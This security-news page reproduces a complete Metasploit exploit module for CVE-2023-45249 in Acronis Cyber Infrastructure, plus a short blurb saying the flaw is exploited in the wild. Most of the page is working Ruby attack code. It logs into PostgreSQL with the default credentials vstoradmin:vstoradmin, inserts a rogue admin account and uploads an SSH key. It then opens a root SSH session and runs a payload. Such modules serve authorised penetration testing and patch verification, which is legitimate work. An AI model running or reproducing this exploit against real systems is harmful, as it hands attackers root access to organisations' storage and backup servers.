Security
Headlines
HeadlinesLatestCVEs

Headline

Acronis Cyber Infrastructure Default Password Remote Code Execution

Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage, compute, and network resources. Businesses and Service Providers are using it for data storage, backup storage, creating and managing virtual machines and software-defined networks, running cloud-native applications in production environments. This Metasploit module exploits a default password vulnerability in ACI which allow an attacker to access the ACI PostgreSQL database and gain administrative access to the ACI Web Portal. This opens the door for the attacker to upload SSH keys that enables root access to the appliance/server. This attack can be remotely executed over the WAN as long as the PostgreSQL and SSH services are exposed to the outside world. ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69, 5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.

Packet Storm
#sql#vulnerability#web#mac#linux#js#git#rce#auth#ssh#postgres#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'sshkey'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include BCrypt  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Postgres  include Msf::Exploit::Remote::SSH  prepend Msf::Exploit::Remote::AutoCheck  # ssh_socket  attr_accessor :ssh_socket  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Acronis Cyber Infrastructure default password remote code execution',        'Description' => %q{          Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,          compute, and network resources. Businesses and Service Providers are using it for data storage,          backup storage, creating and managing virtual machines and software-defined networks, running          cloud-native applications in production environments.          This module exploits a default password vulnerability in ACI which allow an attacker to access          the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.          This opens the door for the attacker to upload SSH keys that enables root access          to the appliance/server. This attack can be remotely executed over the WAN as long as the          PostgreSQL and SSH services are exposed to the outside world.          ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,          5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.        },        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module          'Acronis International GmbH', # discovery        ],        'References' => [          ['CVE', '2023-45249'],          ['URL', 'https://security-advisory.acronis.com/advisories/SEC-6452'],          ['URL', 'https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249']        ],        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Privileged' => true,        'Arch' => [ARCH_CMD],        'Targets' => [          [            'Unix/Linux Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd            }          ],          [            'Interactive SSH',            {              'Type' => :ssh_interact,              'DefaultOptions' => {                'PAYLOAD' => 'generic/ssh/interact'              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'ssh_interact'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-07-24',        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 8888,          'USERNAME' => 'vstoradmin',          'PASSWORD' => 'vstoradmin',          'DATABASE' => 'keystone',          'SSH_TIMEOUT' => 30,          'WfsDelay' => 5        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')    register_options([      OptString.new('TARGETURI', [true, 'Path to the Acronis Cyber Infra application', '/']),      OptPort.new('DBPORT', [true, 'PostgreSQL DB port', 6432]),      OptPort.new('SSHPORT', [true, 'SSH port', 22]),      OptString.new('PRIV_KEY_FILE', [false, 'SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)', ''])    ])    register_advanced_options([      OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])    ])  end  # add an admin user to the Acronis PostgreSQL DB (keystone) using default credentials (vstoradmin:vstoradmin)  def add_admin_user(username, userid, password)    vprint_status("Creating admin user #{username} with userid #{userid}")    # add new admin user to the user table    res_query = postgres_query("INSERT INTO \"user\" VALUES(\'#{userid}\','{}','T',NULL,NULL,NULL,'default');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # add new admin user to the local_user table    res_query = postgres_query('SELECT * FROM "local_user" WHERE id = ( SELECT MAX (id) FROM "local_user" );', datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_luser = res_query[:complete].rows[0][0].to_i + 1    res_query = postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # hash the password    password_hash = Password.create(password)    today = Date.today    vprint_status("Setting password #{password} with hash #{password_hash}")    res_query = postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );', datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_pwd = res_query[:complete].rows[0][0].to_i + 1    res_query = postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    # Getting the admin roles and assign this to the new admin user    vprint_status('Getting the admin roles')    res_query = postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_project_role = res_query[:complete].rows[0][0]    res_query = postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    id_admin_role = res_query[:complete].rows[0][0]    vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")    res_query = postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');", datastore['VERBOSE'])    return false unless res_query.keys[0] == :complete    vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")    true  end  # create SSH session.  # based on the ssh_opts can this be key or password based.  # if login is successfull, return true else return false. All other errors will trigger an immediate fail  def do_sshlogin(ip, user, ssh_opts)    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        self.ssh_socket = Net::SSH.start(ip, user, ssh_opts)      end    rescue Rex::ConnectionError      fail_with(Failure::Unreachable, 'Disconnected during negotiation')    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Disconnected, 'Timed out during negotiation')    rescue Net::SSH::AuthenticationFailed      return false    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")    end    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket    return true  end  # login at the Acronis Cyber Infrastructure web portal  def aci_login(name, pwd)    post_data = {      username: name.to_s,      password: pwd.to_s    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'login'),      'data' => post_data.to_s    })    return res&.code == 200  end  # returns cluster id or nil if not found  def get_cluster_id    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'clusters')    })    return unless res&.code == 200    return unless res.body.include?('data') && res.body.include?('id')    # parse json response and get the version    res_json = res.get_json_document    return if res_json.blank?    res_json['data'].each do |cluster|      return cluster['id'] unless cluster['id'].nil?    end  end  # upload the SSH public key using the cluster_id defined at the Acronis Cyber Infrastructure web portal  def upload_sshkey(sshkey, cluster_id)    post_data = {      key: sshkey.to_s,      event:      {        name: 'SshKeys',        method: 'post',        data:        {          key: sshkey.to_s        }      }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', cluster_id.to_s, 'ssh-keys'),      'data' => post_data.to_s    })    return true if res&.code == 202 && res.body.include?('task_id')    false  end  def execute_command(cmd, _opts = {})    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }  rescue Timeout::Error    @timeout = true  end  # return ACI version-release string or nil if not found  def get_aci_version    res = send_request_cgi({      'method' => 'GET',      'ctype' => 'application/json',      'headers' => {        'X-Requested-With' => 'XMLHttpRequest'      },      'uri' => normalize_uri(target_uri.path, 'api', 'v2', 'about')    })    return unless res&.code == 200    return unless res.body.include?('storage-release')    # parse json response and get the version    res_json = res.get_json_document    return if res_json.blank?    version = res_json['storage-release']['version']    return if version.nil?    release = res_json['storage-release']['release']    return if release.nil?    "#{version}-#{release}".gsub(/[[:space:]]/, '')  end  def check    version_release = get_aci_version    return CheckCode::Unknown('Could not retrieve the version information.') if version_release.nil?    return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')    case version_release.split(/\.\d-/)[0]    when '5.0'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.0.1-61')    when '5.1'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.1.1-71')    when '5.2'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.2.1-69')    when '5.3'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.3.1-53')    when '5.4'      return CheckCode::Appears("Version #{version_release}") if Rex::Version.new(version_release) < Rex::Version.new('5.4.4-132')    end    CheckCode::Safe("Version #{version_release}")  end  def exploit    # connect to the PostgreSQL DB with default credentials    fail_with(Failure::Unreachable, "Can not connect to PostgreSQL DB on port #{datastore['DBPORT']}.") unless postgres_login({ port: datastore['DBPORT'] }) == :connected    # add a new admin user    username = Rex::Text.rand_text_alphanumeric(5..8).downcase    userid = SecureRandom.hex    password = Rex::Text.rand_password    print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")    fail_with(Failure::BadConfig, "Adding admin credentials #{username}:#{password} failed.") unless add_admin_user(username, userid, password)    # storing credentials at the msf database    print_status('Saving admin credentials at the msf database.')    store_valid_credential(user: username, private: password)    # log out from the postsgreSQL DB    postgres_logout if postgres_conn    # create or use own SSH private key    if datastore['PRIV_KEY_FILE'].blank?      print_status('Creating SSH private and public key.')      k = SSHKey.generate(comment: 'root')    else      print_status("Using your own SSH private key file: #{datastore['PRIV_KEY_FILE']} in PEM format.")      fail_with(Failure::NotFound, "Can not find or open SSH private key file: #{datastore['PRIV_KEY_FILE']}") unless File.file?(File.expand_path(datastore['PRIV_KEY_FILE']))      f = File.read(File.expand_path(datastore['PRIV_KEY_FILE']))      k = SSHKey.new(f, comment: 'root')    end    vprint_status(k.private_key)    vprint_status(k.ssh_public_key)    # storing SSH public and private key at the msf database    print_status('Saving SSH public and private key pair at the msf database.')    store_valid_credential(user: 'ACI SSH public key', private: k.ssh_public_key)    store_valid_credential(user: 'ACI SSH private key', private: k.private_key)    # log in with the new admin user credentials at the Acronis Admin Portal    fail_with(Failure::NoAccess, "Failed to authenticate at the Acronis Admin Portal with #{username} and #{password}") unless aci_login(username, password)    # get cluster id to upload the SSH keys    print_status('Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.')    cluster_id = get_cluster_id    fail_with(Failure::NotFound, 'Can not find a cluster and retrieve the id.') if cluster_id.nil?    # upload the public ssh key at the Acronis Admin Portal to enable root access via SSH    print_status('Uploading SSH public key at the Acronis Admin Portal.')    fail_with(Failure::NoAccess, 'Failed to upload SSH public key.') unless upload_sshkey(k.ssh_public_key, cluster_id)    # login with SSH private key to establish SSH root session    ssh_opts = ssh_client_defaults.merge({      auth_methods: ['publickey'],      key_data: [ k.private_key ],      port: datastore['SSHPORT']    })    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    print_status('Authenticating with SSH private key.')    fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts)    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :ssh_interact      handler(ssh_socket)      return    end    @timeout ? ssh_socket.shutdown! : ssh_socket.close  endend

Related news

Critical Flaw in Acronis Cyber Infrastructure Exploited in the Wild

Cybersecurity company Acronis is warning that a now-patched critical security flaw impacting its Cyber Infrastructure (ACI) product has been exploited in the wild. The vulnerability, tracked as CVE-2023-45249 (CVSS score: 9.8), concerns a case of remote code execution that stems from the use of default passwords. The flaw impacts the following versions of Acronis Cyber Infrastructure (ACI) - &

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution